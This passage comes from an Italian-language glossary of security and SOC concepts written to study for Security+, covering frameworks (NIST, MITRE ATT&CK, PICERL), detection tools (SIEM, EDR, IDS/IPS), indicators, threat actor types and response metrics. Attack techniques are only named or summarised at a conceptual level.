strati OSI (Layer 2, 3, 4) per l'analisi dei log.","title":"TCP Reliability e Modello OSI - La Guida Semplificata","type":"concetti"},{"content":"","date":"22 aprile 2026","externalUrl":null,"permalink":"/tags/teoria/","section":"Tags","summary":"","title":"Teoria","type":"tags"},{"content":"Fornisce una tassonomia standardizzata e definizioni autoritative per i termini tecnici, le organizzazioni e le vulnerabilità incontrate nel percorso SOC.\nFondamenti # CIA Triad (Confidentiality, Integrity, Availability): I tre pilastri della sicurezza informatica.\nConfidentiality (Riservatezza): solo chi è autorizzato può accedere all'informazione. Integrity (Integrità): l'informazione non può essere modificata da chi non è autorizzato. Availability (Disponibilità): l'informazione deve essere accessibile quando serve. SPOF (Single Point of Failure): componente unico il cui guasto causa il down dell'intero sistema. Tool esempio: identificato con analisi di ridondanza (RAID, clustering, NIC teaming). Caso reale: server con un solo disco — se il disco muore, il server muore. Hook mnemonico: SPOF = \u0026quot;se rompo questo, rompo tutto\u0026quot;.\nPII (Personally Identifiable Information): qualsiasi dato che consente di identificare direttamente o indirettamente una persona fisica. Tool esempio: da proteggere con encryption (Confidentiality) e access controls. Caso reale: nome + cognome + codice fiscale, indirizzo email, numero di carta di credito, IP address in certi contesti. Hook mnemonico: PII = \u0026quot;dati che ti trovano\u0026quot; — se con quella info riesci a risalire a una persona, e' PII.\nOrganizzazioni e Standard # OWASP (Open Web Application Security Project): Fondazione no-profit che produce documentazione, tool e standard gratuiti e open source sulla sicurezza delle web application. Tutto pubblico, chiunque può contribuire. Produce: Top 10 (lista aggiornata ogni 3-4 anni delle vulnerabilità web più critiche — SQL injection, XSS, ecc. — diventata standard di settore), ESAPI (libreria di sicurezza per developer con funzioni di input validation e output encoding), ZAP (Zed Attack Proxy, alternativa open source a Burp Suite), WSTG (Web Security Testing Guide, guida completa per testare una web app), ASVS (Application Security Verification Standard, checklist per verificare se un'app è sicura). Security+ cita OWASP Top 10 come framework di riferimento per le vulnerabilità applicative — SQL injection, XSS, directory traversal sono tutti nella Top 10. Analogia dev: OWASP sta alla web security come PSR sta a PHP — non vende nulla, produce standard che l'industria ha adottato come riferimento comune. Hook mnemonico: OWASP = \u0026quot;il manuale delle vulnerabilità web\u0026quot; — se Gibson cita un attacco su web app, c'è quasi sempre una voce OWASP Top 10 corrispondente. FHS (Filesystem Hierarchy Standard): Standard che definisce la struttura delle directory nei sistemi Linux (es: /etc, /var, /usr). MITRE ATT\u0026amp;CK (Adversarial Tactics, Techniques, and Common Knowledge): Framework mondiale che cataloga oltre 600 tecniche usate dagli avversari negli attacchi reali, organizzate in tattiche (il \u0026quot;perché\u0026quot;) e tecniche (il \u0026quot;come\u0026quot;). Tool: ATT\u0026amp;CK Navigator (navigator.attack.mitre.org) — mappa visiva interattiva per esplorare tecniche e costruire layer di copertura. Caso reale: dopo SolarWinds 2020, i ricercatori hanno mappato l'intero attacco su ATT\u0026amp;CK — T1195 (Supply Chain Compromise), T1078 (Valid Accounts), T1027 (Obfuscated Files). La mappa ha permesso ad altre organizzazioni di sapere esattamente cosa cercare nei propri ambienti. Hook: è il \u0026quot;libro delle mosse del nemico\u0026quot;. Ogni tecnica ha un ID (es. T1059), esempi di malware che la usano e suggerimenti di detection. Se sai quale gruppo ti ha attaccato, sai quali T-code cercare. NIST (National Institute of Standards and Technology): Agenzia governativa USA che definisce framework di sicurezza. Produce due documenti chiave per l'IR: NIST CSF 2.0 (Cybersecurity Framework): framework strategico a 6 funzioni — Govern, Identify, Protect, Detect, Respond, Recover. E' il linguaggio usato a livello CISO, audit e compliance aziendale. NIST SP 800-61r3 (Special Publication 800-61 revision 3): guida tattica al processo di Incident Response — Preparation / Detection \u0026amp; Analysis / Containment+Eradication+Recovery / Post-Incident Activity. E' il \u0026quot;metamodello\u0026quot; IR con forte enfasi su integrazione col risk management e miglioramento continuo. SANS Institute: Organizzazione mondiale leader nella formazione e certificazione (GIAC) in cybersecurity. Nota per il framework operativo PICERL e i Critical Security Controls. CISA (Cybersecurity and Infrastructure Security Agency): Agenzia federale USA che coordina la difesa delle infrastrutture critiche e la risposta alle minacce cyber a livello nazionale. Finanzia e gestisce risorse chiave come il database CVE e il servizio AIS. Pubblica Malware Analysis Report con IoC dettagliati per aiutare i team security a rilevare attacchi specifici. Hook: il CERT nazionale americano, ma con poteri di coordinamento federale. Exam trap: CISA non e' un'agenzia investigativa (quello e' l'FBI) — e' l'agenzia di difesa e condivisione delle informazioni. IETF (Internet Engineering Task Force): Organizzazione che sviluppa e pubblica gli standard tecnici di Internet tramite i documenti RFC. Nessun membro formale — chiunque puo' partecipare e contribuire. Produce RFC (Request for Comments), il documento che definisce come funzionano i protocolli. Exam trap: IETF crea gli standard, NIST crea i framework di sicurezza — ruoli diversi. RFC (Request for Comments): Documento ufficiale pubblicato dall'IETF che definisce standard, protocolli e specifiche tecniche di Internet. Il nome storico — nei primi anni ARPANET, erano letteralmente richieste di feedback — ma oggi sono standard definitivi. Esempio: RFC 6749 = OAuth 2.0, RFC 793 = TCP, RFC 7230 = HTTP/1.1. Chiunque implementi lo stesso RFC puo' interoperare con chiunque altro. Hook: RFC = la ricetta ufficiale. Se segui la ricetta RFC 6749 per OAuth, il tuo server puo' parlare con Google, GitHub, qualsiasi altro OAuth server. Exam trap: un RFC pubblicato non e' necessariamente uno standard approvato — ha livelli: Informational, Experimental, Proposed Standard, Internet Standard. Operazioni SOC \u0026amp; Incident Response # SOC (Security Operations Center): Nucleo operativo che monitora, rileva, indaga e risponde agli incidenti di sicurezza. Centro di comando dove gli analisti presidiano l'infrastruttura 24/7, gestiscono gli alert e coordinano la risposta agli incidenti.\nCIRT (Computer Incident Response Team): Il team operativo responsabile della gestione degli incidenti. Due varianti con ruoli distinti:\nCSIRT (Computer Security Incident Response Team): team interno creato per proteggere una specifica organizzazione — scope limitato, focalizzato sulla propria infrastruttura. CERT (Computer Emergency Response Team): ruolo più ampio, rivolto al supporto di più enti — tipicamente nazionale o settoriale (es. CERT-AGID in Italia). Triage (Smistamento/Cernita): Processo di valutazione iniziale di un alert per determinarne la criticità e scartare i False Positive (falsi allarmi). Deriva dall'ambito medico (Pronto Soccorso) e serve a prioritizzare gli interventi in base all'impatto reale.\nEscalation: Procedura di passaggio di un incidente a un livello superiore (es: da Tier 1 a Tier 2) o a un team specializzato (es: Legal, IT).\nPlaybook: Procedura operativa standard (SOP) che guida l'analista passo-passo nella gestione di uno specifico tipo di alert. Ogni tipo di incidente ha il suo playbook — ransomware, phishing, account compromise, C2 detection. Tool: TheHive (case management open source), Palo Alto XSOAR, Tines — piattaforme che eseguono playbook in modo automatizzato (SOAR). Esempio: Playbook phishing → ricevi alert → controlla header SPF/DKIM → sandbox allegato su Any.run → cerca IP su VirusTotal → se confermato: blocca mittente, isola host, escalate a Tier 2. Hook: la ricetta del cuoco. Stesso incidente, stessi passi, ogni volta — riduce errori e accelera i tempi di risposta.\nSIEM (Security Information and Event Management): Software centrale che raccoglie log da tutta l'infrastruttura, li correla e genera alert quando un pattern corrisponde a una regola. Tool: Wazuh (open source, quello che usi), Splunk (enterprise standard), Microsoft Sentinel (cloud-native). Caso reale: nel breach di Target (2013) il SIEM aveva generato l'alert corretto — ma nessuno lo aveva notato tra migliaia di falsi positivi. La breccia costò 200M$. Da quel caso nacque l'ossessione per il tuning. Hook: la sala di controllo centrale. Tutto arriva qui. Se non è nel SIEM, per il SOC non è successo.\nEDR (Endpoint Detection and Response): Agent installato su host/server che monitora processi, file system e connessioni in tempo reale — non solo rileva malware ma registra ogni azione per l'analisi forense. Tool: CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne, Wazuh agent. Caso reale: CrowdStrike ha rilevato SUNBURST (SolarWinds) analizzando comportamenti anomali del processo SolarWinds.Orion.exe — non tramite signature, ma tramite comportamento. Hook: non è un antivirus. L'antivirus confronta hash. L'EDR registra cosa fa il processo — anche se il malware è nuovo e sconosciuto.\nXDR (Extended Detection and Response): Evoluzione dell'EDR che integra telemetria da più fonti — endpoint, rete, cloud, email — in un'unica console con correlazione automatica. Tool: Palo Alto Cortex XDR, Microsoft Defender XDR, CrowdStrike Falcon XDR. Esempio: un XDR può correlare una email phishing ricevuta + un processo anomalo lanciato 10 minuti dopo + una connessione C2 dall'host come un'unica catena d'attacco. Un EDR da solo vede solo il terzo pezzo. Hook: EDR vede una stanza, XDR vede tutto l'edificio.\nDFIR (Digital Forensics and Incident Response): Disciplina che combina la raccolta e analisi di prove digitali (Forensics) con la risposta attiva all'incidente (Incident Response). Obiettivo: capire cosa è successo, come, e raccogliere prove legalmente valide. Tool: Volatility (analisi memoria RAM), Autopsy / FTK Imager (analisi disco), Wireshark (traffico di rete), KAPE (acquisizione artefatti Windows). Caso reale: dopo l'attacco a Equifax (2017, 147M record rubati), un team DFIR ha ricostruito 76 giorni di attività dell'attaccante dalle prove digitali — fondamentale per il procedimento legale. Hook: il CSI informatico. La regola d'oro è chain of custody — ogni prova deve essere acquisita senza contaminarla, o non vale in tribunale.\nMSSP (Managed Security Service Provider): Azienda esterna che fornisce servizi di SOC e sicurezza gestita per conto di terzi — analisti H24, SIEM, EDR, IR inclusi nel servizio. Esempi in Italia: Fastweb Security, TIM Enterprise Security, Yarix, Cyberoo, Spike Reply. Hook: il SOC in outsourcing. Per aziende che non possono permettersi un SOC interno H24, l'MSSP è la soluzione. Per chi vuole fare carriera nel SOC, gli MSSP sono il posto dove si impara più velocemente — volume altissimo di alert reali.\nMSP (Managed Service Provider): Azienda esterna che gestisce servizi IT generici per conto di un cliente — help desk, backup, server, email, rete. Non focalizzato sulla security. Spesso aggiunge servizi MSSP come add-on. Differenza chiave: MSP = IT in outsourcing, MSSP = SOC/security in outsourcing. Entrambi operano con SLA contrattuali (respond entro X ore, resolve entro Y ore) — non consulenza a progetto ma reparto esternalizzato con KPI misurabili.\nNOC (Network Operations Center): Centro operativo focalizzato sulla disponibilità e operatività della rete (router, switch, load balancer, uptime servizi). Non si occupa di sicurezza in senso stretto, ma può collaborare con il SOC — es. rileva un picco anomalo di traffico che il SOC indaga come potenziale attacco.\nIDS (Intrusion Detection System): Sistema che monitora il traffico di rete o gli host alla ricerca di attività sospette e genera alert. Rileva ma NON blocca. Varianti principali: HIDS (host-based) e NIDS (network-based).\nIPS (Intrusion Prevention System): Evoluzione dell'IDS — rileva le minacce e le blocca attivamente (inline nel traffico). La differenza pratica: IDS = guardia che avvisa, IPS = guardia che ferma.\nHIDS (Host-based Intrusion Detection System): IDS installato direttamente sull'host (workstation o server). Il traffico analizzato passa attraverso la NIC dell'host — quindi vede solo ciò che entra ed esce da quella macchina. Monitora: traffico di rete via NIC, file critici del sistema operativo, log, applicazioni server (web, mail, DB), risorse locali. Può rilevare malware che l'antivirus tradizionale non individua perché analizza comportamenti applicativi e modifiche a file di sistema, non solo signature. Tool esempio: Wazuh agent (HIDS open source), OSSEC, Tripwire (integrità file). Caso reale: un admin installa HIDS su un database server con dati proprietari — il HIDS monitora non solo il traffico di rete verso il DB, ma anche query anomale a livello applicativo e modifiche ai file di configurazione. Hook mnemonico: NIDS guarda il corridoio (la rete), HIDS guarda dentro la stanza (il singolo host). Exam trap: HIDS non sostituisce l'antivirus — è un layer aggiuntivo. Molte organizzazioni installano entrambi su ogni workstation.\nNIDS (Network-based Intrusion Detection System): IDS posizionato sul perimetro di rete che analizza il traffico che transita — non quello interno a un singolo host. Non è inline: riceve una copia del traffico (port mirroring o TAP) e genera alert senza interferire con il flusso. Blind spot: traffico cifrato (TLS senza inspection), tutto quello che succede dentro l'host. Tool esempio: Suricata in modalità af-packet. Caso reale: un NIDS sul perimetro aziendale rileva un port scan da un IP esterno — Suricata genera alert T1595, il SOC indaga. Hook mnemonico: NIDS guarda il corridoio tra le stanze, HIDS guarda dentro ogni stanza. Exam trap: NIDS vede il traffico di rete ma è cieco a quello che succede sui singoli host — per la visibilità completa servono entrambi.\nHIPS (Host-based Intrusion Prevention System): HIDS con capacità di blocco attivo. Non è inline — i pacchetti arrivano all'host, il HIPS li analizza e poi blocca i tentativi futuri tramite iptables/nftables. Tool esempio: Wazuh + Active Response, fail2ban. Caso reale: Hydra lancia un brute force SSH — fail2ban conta 5 tentativi falliti in 60 secondi e banna l'IP dell'attaccante con una regola iptables. I pacchetti già arrivati li ha già ricevuti; blocca solo quelli successivi. Hook mnemonico: HIPS = HIDS che reagisce, non solo che guarda. Exam trap: HIPS non è inline — intercetta dopo l'arrivo, non prima.\nNIPS (Network-based Intrusion Prevention System): NIDS inline — il traffico di rete PASSA ATTRAVERSO il dispositivo prima di arrivare a destinazione. Può droppare i pacchetti malevoli prima che raggiungano l'host. Tool esempio: Suricata in modalità nfqueue. Caso reale: hping3 --flood da Kali verso Ubuntu — Suricata in modalità IPS intercetta il SYN flood e droppa i pacchetti; curl verso lo stesso Ubuntu da un altro terminale va in timeout. Hook mnemonico: NIPS = checkpoint sul corridoio — il pacchetto deve passarci prima di entrare nella stanza. Exam trap: inline = IPS, non inline = IDS. La posizione nel flusso del traffico è la distinzione chiave.\nCVE (Common Vulnerabilities and Exposures): Database pubblico di vulnerabilità note, mantenuto da MITRE e finanziato da CISA. Ogni voce ha un ID univoco nel formato CVE-ANNO-NUMERO, una descrizione, e un CVSS score che indica la gravità. Tool esempio: Wazuh Vulnerability Detection confronta automaticamente i pacchetti installati contro il database CVE e segnala le vulnerabilità attive. Caso reale: Log4Shell era CVE-2021-44228, CVSS 10.0 — una stringa nel campo User-Agent causava RCE su qualsiasi server Log4j. Hook mnemonico: CVE = targa di una vulnerabilità. Senza CVE ID non puoi cercarla, parlarci tra team, o tracciarla nel tempo.\nIH (Incident Handling): Il contenitore più ampio della gestione degli incidenti — include processi, procedure, persone e strumenti. IR (Incident Response) è il sottoinsieme operativo di IH focalizzato sulla risposta tecnica all'incidente.\nTelemetria: Dati raccolti automaticamente da sistemi remoti e inviati a un punto centrale per l'analisi. In ambito security: log, eventi, processi attivi, connessioni di rete, modifiche al file system — tutto quello che un agent registra e manda al SIEM/XDR.\nOSINT (Open Source Intelligence): Raccolta di informazioni da fonti pubbliche per supportare l'analisi di un incidente. Tool comuni: VirusTotal (analisi file/URL/IP), Any.run (sandbox online), Shodan (motore di ricerca per dispositivi esposti su internet).\nNVD (National Vulnerability Database): Database pubblico di vulnerabilita' noto mantenuto dal NIST. Ogni vulnerabilita' ha un CVE ID, una descrizione, il CVSS score e le informazioni di remediation. E' il riferimento ufficiale del governo USA — quando CISA emette una direttiva di patching obbligatoria, i CVE ID vengono da qui. Hook: NVD = lo scaffale dove ogni vulnerabilita' ha la sua etichetta CVE. NIST gestisce lo scaffale, MITRE assegna le etichette.\nIoC (Indicator of Compromise): Evidenza che un attacco e' in corso o e' gia' avvenuto su un sistema. Puo' essere ovvia (alert confermato da AV) o sottile (hash di un file specifico, URL di C2, nome di un processo anomalo). CISA pubblica Malware Analysis Report con IoC che i team security usano per cercare retroattivamente nei log — se trovi l'URL del C2 nei proxy log, qualcuno ha visitato quel sito. Tool: threat intel feed (VirusTotal, MISP), SIEM con regole IoC, EDR con hash lookup. Hook: IoC e' la \u0026quot;targa del criminale\u0026quot; — il codice fiscale dell'attacco. Senza IoC sai che qualcosa e' successo; con gli IoC sai cosa cercare e dove. Exam trap: IoC != vulnerabilita'. Una CVE e' un punto debole, un IoC e' traccia di sfruttamento.\nTAXII (Trusted Automated eXchange of Intelligence Information): Standard aperto che definisce il protocollo per condividere threat intelligence — come i dati viaggiano, quali servizi esistono, come autenticarsi. Non definisce il formato dei dati — quello lo fa STIX. Analogia: TAXII e' come HTTP (il protocollo di trasporto), STIX e' come JSON (il formato del contenuto). Hook: TAXII = il camion che trasporta la merce. STIX = la forma delle scatole dentro il camion.\nSTIX (Structured Threat Information eXpression): Standard aperto che definisce il formato dei dati di threat intelligence — come descrivere malware, campagne, threat actor, IoC, TTP in modo strutturato e machine-readable. I dati STIX viaggiano via TAXII. Hook: STIX = la lingua comune. Due organizzazioni che usano STIX possono scambiarsi threat intelligence senza traduzione manuale. Exam trap: STIX definisce COSA condividere, TAXII definisce COME condividerlo — non confonderli.\nAIS (Automated Indicator Sharing): Servizio gratuito gestito da CISA per lo scambio in tempo reale di threat indicator e defensive measure tra organizzazioni. Usa STIX come formato e TAXII come protocollo. Disponibile a qualsiasi organizzazione US — governo, privato, infrastrutture critiche. Hook: AIS e' il mercato dove si portano gli IoC — STIX li descrive, TAXII li consegna, AIS e' la piazza dove avviene lo scambio.\nTassonomia ENISA: Classificazione standard degli incidenti sviluppata dall'ENISA (European Union Agency for Cybersecurity) per dare un linguaggio comune tra organizzazioni europee. Copre categorie come: abusive content, malicious code, information gathering, intrusion, availability, information content security. Usata in forma ibrida: tassonomia interna per i dettagli operativi + ENISA per la comunicazione esterna (es. notifiche GDPR, CSIRT nazionali). Hook: senza tassonomia comune, due SOC di aziende diverse chiamano la stessa cosa in modo diverso — impossibile collaborare su un incidente cross-organizzazione.\nFramework di riferimento IR # I principali framework che guidano le operazioni di sicurezza negli ultimi 30 anni:\nFramework Ente Struttura Livello NIST CSF 2.0 NIST (USA) 6 funzioni: Govern, Identify, Protect, Detect, Respond, Recover Strategico — governance, CISO, audit, compliance aziendale NIST SP 800-61r3 NIST (USA) 4 fasi: Preparation / Detection \u0026amp; Analysis / Containment+Eradication+Recovery / Post-Incident Activity Tattico IR — il \u0026quot;metamodello\u0026quot; del processo di risposta; integra risk management e miglioramento continuo PICERL SANS 6 fasi: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned Operativo SOC — scomposizione granulare della parte Detect/Respond/Recover di SP 800-61. Dettaglio: incident-response-lifecycle MITRE ATT\u0026amp;CK MITRE Tattiche, tecniche e procedure degli attaccanti Linguaggio — detection engineering, threat hunting, classificazione incidenti. Dettaglio: mitre-attack-framework Time Based Security Winn Schwartau Misura tempi di protezione, detection e risposta (Pt \u0026gt; Dt + Rt) Metrica — valuta l'efficacia della postura difensiva Letture di approfondimento citate nel Blue Team Handbook:\nISO/IEC 27035 — Information Security Incident Management ENISA Incident Management Guidelines ASD Strategies — Australian Signals Directorate, mitigazioni pratiche MITRE CWE — Common Weakness Enumeration, 600+ categorie hardware/software OWASP Top Ten — rischi piu' critici nelle web application, aggiornato periodicamente Incident Response (IR): Esistono due definizioni di riferimento usate nella pratica:\nNIST: La remediation o mitigazione di violazioni delle policy di sicurezza e delle pratiche raccomandate. SANS: Il processo strutturato di identificazione, gestione e mitigazione degli effetti di un incidente di sicurezza informatica, con l'obiettivo di minimizzare i danni, ripristinare le operazioni e prevenire ricorrenze future. La definizione SANS e' piu' operativa — quella usata nei SOC. La definizione NIST e' piu' formale — usata in compliance e governance. I framework non sono in alternativa: in un programma IR moderno si \u0026quot;parla NIST CSF\u0026quot; a livello policy e audit, si usa NIST SP 800-61 come processo tattico di riferimento, e si \u0026quot;parla PICERL\u0026quot; a livello operativo nei playbook e nella formazione analisti. Vedi tabella \u0026quot;Framework di riferimento IR\u0026quot; sopra e nota incident-response-lifecycle. PICERL: Framework SANS per la gestione strutturata degli incidenti in 6 fasi: Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned. E' un ciclo — le Lessons Learned migliorano la Preparation del prossimo incidente. Standard de facto nei SOC operativi. Dettaglio completo: incident-response-lifecycle.\nIndicatori e Metriche # IOC (Indicator of Compromise): Tracce statiche di un attacco già avvenuto — artefatti lasciati dal malware o dall'attaccante. Esempi: hash SHA256 di un file malware, IP del server C2, dominio usato per il beaconing, chiave di registro creata per la persistenza. Limite: un IOC è utile solo dopo che l'attacco è già successo. Se l'attaccante cambia IP o usa un dominio nuovo, l'IOC non lo cattura.\nIOA (Indicator of Attack): Comportamenti che indicano un attacco in corso, anche prima che ci sia compromissione confermata. Esempi: processo cmd.exe lanciato da word.exe, PowerShell che contatta un IP esterno, creazione di un utente admin alle 3 di notte. Vantaggio: permette di intervenire prima — non serve aspettare un artefatto noto.\nIOC — guarda indietro IOA — guarda adesso \u0026#34;qualcosa è già successo\u0026#34; \u0026#34;qualcosa sta succedendo\u0026#34; hash, IP, dominio noti comportamento anomalo reattivo proattivo TTP (Tactics, Techniques, and Procedures): Il modo di operare caratteristico di un attaccante — tattica (obiettivo: es. \u0026quot;persistenza\u0026quot;), tecnica (come: es. \u0026quot;cron job\u0026quot;), procedura (dettaglio specifico: es. \u0026quot;cron job in /etc/cron.d con questo nome file\u0026quot;). Mappato su MITRE ATT\u0026amp;CK. Più specifici degli IOC: un IP C2 cambia in ore, un TTP cambia in mesi. Caso reale: APT29 usa quasi sempre spearphishing + OAuth abuse per l'accesso iniziale. Sapere i loro TTP permette di cercare questi pattern nel proprio ambiente anche prima di un attacco confermato. Hook: IOC = impronta digitale (cambia con i guanti). TTP = modo di camminare (difficile da cambiare).\nThreat Actor: Qualsiasi entità che esegue o sponsorizza un attacco informatico. La categoria determina motivazione, risorse e TTP usati — sapere chi ti attacca aiuta a predire come.\nTipo Motivazione Risorse Esempio Nation-state Spionaggio, sabotaggio, influenza politica Altissime, zero-day budget APT29 (Russia), APT41 (Cina), Lazarus (Nord Corea) Organized crime Profitto economico, ransomware, frode Medie-alte, RaaS REvil, LockBit, Conti Hacktivist Ideologia, visibilità, protesta Basse-medie Anonymous, KillNet Insider threat Vendetta, profitto, errore inconsapevole Accesso diretto — pericoloso Edward Snowden (consapevole), dipendente che clicca phishing (inconsapevole) Script kiddie Curiosità, ego, noia Basse — usa tool altrui La maggior parte degli attacchi automatizzati Caso reale: Lazarus Group (Nord Corea) — ha rubato 81M$ alla Bangladesh Bank (2016) via SWIFT compromesso, e ha bucato Sony Pictures (2014) per impedire l'uscita di un film. Nation-state con obiettivi sia finanziari che politici. Hook: per Security+ D2.1 devi conoscere tutti questi tipi. La domanda tipo è \u0026quot;quale threat actor usa APT con motivazione di spionaggio?\u0026quot; — nation-state.\nAPT (Advanced Persistent Threat): Attaccante con risorse elevate — spesso nation-state o criminalità organizzata — che entra in un sistema e ci resta nascosto a lungo. Obiettivo: spionaggio o esfiltrazione dati, non rumore.\nLe tre parole spiegano tutto:\nAdvanced — usa exploit custom, zero-day, tecniche sofisticate per non essere rilevato Persistent — resta nascosto per mesi o anni. Non colpisce e scappa: stabilisce foothold, muove lateralmente, esfiltra lentamente Threat — è una minaccia reale e mirata, non casuale Scenario tipico: un attaccante APT entra via phishing su un account di un dipendente, installa una backdoor silenziosa, aspetta settimane per capire la rete, poi esfiltra dati sensibili a piccole dosi per non triggerare alert di volume. Il classico falso negativo che il SIEM non vede.\nEsempi reali: APT29 (Cozy Bear, Russia) — compromesso SolarWinds 2020, rimasto nascosto per mesi in reti governative USA. APT41 (Cina) — spionaggio industriale + ransomware.\nNation-State Attacker: attaccante direttamente impiegato o sponsorizzato da un governo. Rappresenta la forma principale di APT. Ha risorse praticamente illimitate, personale altamente specializzato e obiettivi precisi (aziende, agenzie governative, infrastrutture critiche). Non attacca a caso: ha un mandato. I governi sponsor negano ufficialmente, ma le aziende di threat intelligence hanno documentato decine di gruppi: Fancy Bear e Cozy Bear (Russia), Lazarus Group e Ricochet Chollima (Nord Corea), Buckeye e Double Dragon (Cina), Elfin Team e Charming Kitten (Iran). Tool esempio: zero-day su misura, implant firmware, supply chain compromise. Budget per comprare vulnerabilita' non note. Caso reale: Lazarus Group (Nord Corea) ha rubato 81 milioni di dollari alla Bangladesh Bank (2016) via SWIFT compromesso, e ha bucato Sony Pictures (2014) per impedire l'uscita di un film. Due obiettivi diversi, stessa nazione sponsor. Hook: \u0026quot;un governo che attacca un altro governo (o un'azienda) tramite hacker prezzolati\u0026quot;. La differenza con il crimine organizzato e' il mandato politico, non solo economico.\nOrganized Crime (Crimine Organizzato): gruppo strutturato come una vera azienda con gerarchia (leader, manager, esecutori), focalizzato su attivita' criminali. Motivazione primaria: denaro. Qualsiasi attivita' puo' essere ricondotta alla cupidigia. Nel cybercrime, il modello dominante e' il ransomware (spesso via RaaS, Ransomware as a Service). Tool esempio: ransomware (Ryuk, LockBit, REvil/Sodinokibi, BlackCat), infostealer per rubare credenziali, phishing industrializzato. RaaS: il gruppo vende l'accesso al ransomware ad affiliati in cambio di una percentuale del riscatto. Caso reale: Wizard Spider (Russia) operava Ryuk ransomware contro ambienti enterprise. CrowdStrike ha documentato il gruppo con gerarchia, divisione dei ruoli e obiettivi economici. Ryuk ha colpito ospedali durante il COVID-19. Hook: \u0026quot;una mafia digitale con P\u0026amp;L\u0026quot;. Funziona come un'azienda legittima, con recruiting, HR, prodotto (ransomware), clienti (affiliati), e contabilita' (wallet crypto).\nScript Kiddie / Unskilled Attacker: attaccante che usa script, tool e exploit gia' pronti senza capire come funzionano. Competenza tecnica bassa o nulla, budget minimo. Spesso citato come \u0026quot;teenager annoiato\u0026quot; ma l'eta' non e' il punto: e' la mancanza di comprensione, non l'anagrafe. Motivazione: noia, ego, curiosita', voler \u0026quot;vedere cosa succede\u0026quot;. Tool esempio: Metasploit (framework exploit pre-configurati), scanner automatici (Nmap con script NSE), exploit trovati su GitHub o Exploit-DB, tool DDoS scaricati da forum. Caso reale: la maggior parte del rumore di fondo su Internet (port scan continui, brute force su SSH esposto, tentativi su porte 22/3389/80) e' generato da script kiddie che lanciano tool automatici senza supervisione. Hook: \u0026quot;il pericolo della democratizzazione degli strumenti\u0026quot;. Un teenager con Metasploit puo' fare danni seri anche senza capire cosa sta facendo. Security+ vuole che tu sappia: bassa sofisticazione NON significa basso rischio.\nHacktivist: attaccante che lancia attacchi come parte di un movimento attivista o per promuovere una causa. Non attacca per guadagno personale: l'obiettivo e' visibilita', protesta, danneggiare la reputazione di un'organizzazione per ragioni ideologiche o politiche. Tool esempio: DDoS (LOIC - Low Orbit Ion Cannon, spesso usato da gruppi coordinati), defacement di siti web, data leak per imbarazzare l'organizzazione target. Caso reale: The Yes Men (gennaio 2019) hanno creato un sito falso di BlackRock e rilasciato una lettera falsa del CEO Larry Fink con impegni climatici. Molte testate l'hanno riportata come vera. Nessun malware, pura disinformazione per una causa ambientale. Hook: \u0026quot;hacking come protesta\u0026quot;. Legalmente e' comunque un attacco, indipendentemente dalla nobilta' della causa. Anonymous, KillNet e simili sono esempi noti.\nInsider Threat: chiunque abbia accesso legittimo alle risorse interne di un'organizzazione. La parola chiave e' \u0026quot;legittimo\u0026quot;: non e' entrato bucando un firewall, era gia' dentro. Il rischio non e' determinato dal livello di competenza tecnica ma dall'accesso: un admin di sistema e' una minaccia piu' grave di un utente normale non perche' e' \u0026quot;esperto\u0026quot; ma perche' ha piu' accesso. Esistono due tipi: Malicious insider: motivato da vendetta, guadagno economico, ideologia. Sa cosa sta facendo (es. Edward Snowden, 2013). Non-malicious insider: utente che clicca su un allegato phishing, porta dati su una USB personale per lavorare da casa, commette errori in buona fede. Non sa di creare un rischio. Tool esempio: DLP (Data Loss Prevention) monitora e blocca l'esfiltrazione di dati via USB, email, cloud storage. Utile contro entrambi i tipi. Caso reale: Edward Snowden (2013) era un contractor NSA con accesso privilegiato. Ha esfiltrato milioni di documenti classificati. Insider threat malicioso con accesso altissimo. All'altro estremo: un dipendente che manda per errore un file con dati clienti a un indirizzo sbagliato e' ancora un insider threat, solo non malicioso. Hook: \u0026quot;il firewall non ti protegge da chi e' gia' dentro\u0026quot;. La detection richiede strumenti diversi: DLP, UEBA (User and Entity Behavior Analytics), audit dei log interni.\nCompetitor: un'organizzazione in competizione economica o commerciale con un'altra. La motivazione e' ottenere informazioni proprietarie per guadagnare vantaggio competitivo: roadmap di prodotto, lista clienti, prezzi, brevetti, strategie future. Non e' un attacco per soldi diretti o ideologia: e' spionaggio industriale. Raccogliere informazioni e' legale fino a un certo punto (OSINT su LinkedIn, comunicati stampa, database brevetti), poi diventa illegale. Metodi illegali tipici: dumpster diving (rovistare nei rifiuti fisici dell'azienda per trovare documenti non distrutti correttamente), assumere dipendenti di un competitor per farsi raccontare informazioni interne, hacking diretto, social engineering contro dipendenti. Tool esempio: OSINT (legale: Shodan, LinkedIn Sales Navigator, EDGAR per societari USA). Illegale: phishing mirato, accesso fisico non autorizzato. Caso reale: spionaggio industriale e' comune nel settore tech e farmaceutico. Aziende assumono ex-dipendenti di competitor con clausole che vengono poi ignorate. La Corte del Commercio USA ha casi di spionaggio industriale documentati ogni anno, spesso coinvolgendo imprese straniere. Hook: \u0026quot;la competizione sleale digitale\u0026quot;. Se stai costruendo qualcosa di valore, qualcuno che compete con te potrebbe volerlo senza pagarlo.\nLateral Movement (Movimento Laterale): Tecnica con cui l'attaccante si sposta da un host all'altro dentro la rete dopo l'accesso iniziale — cercando privilegi più alti e asset critici come il Domain Controller. Tecniche comuni: Pass-the-Hash (riuso hash NTLM con Mimikatz), PsExec, RDP, WMI, SMB. Caso reale: NotPetya (2017) si è diffuso lateralmente in pochi minuti nelle reti aziendali usando EternalBlue (MS17-010) + Mimikatz per raccogliere credenziali e muoversi. Maersk ha perso 300M$ in un giorno. Hook: \u0026quot;sei entrato nel lobby, ora trova la cassaforte\u0026quot;. L'accesso iniziale è solo il primo passo — il danno reale viene dopo il movimento laterale.\nMTTD (Mean Time to Detect): Tempo medio tra l'inizio di un attacco e il suo rilevamento da parte del SOC. Benchmark reale: secondo IBM Cost of Data Breach Report 2023, il MTTD medio globale è 204 giorni. Gli APT contano su questo — 6 mesi di silenzio sono sufficienti per esfiltare tutto. Hook: il KPI che misura quanto sei cieco. Più è alto, più l'attaccante ha tempo.\nMTTR (Mean Time to Respond): Tempo medio tra il rilevamento e il contenimento dell'incidente. Benchmark reale: IBM 2023 — MTTR medio globale è 73 giorni dopo il rilevamento. MTTD + MTTR = 277 giorni di esposizione media. Hook: il KPI che misura quanto sei lento. MTTD e MTTR insieme sono le due metriche principali su cui un SOC viene valutato internamente e dai clienti MSSP.\nTerminale e Processi # Agent (security): Software che gira in background su un host, 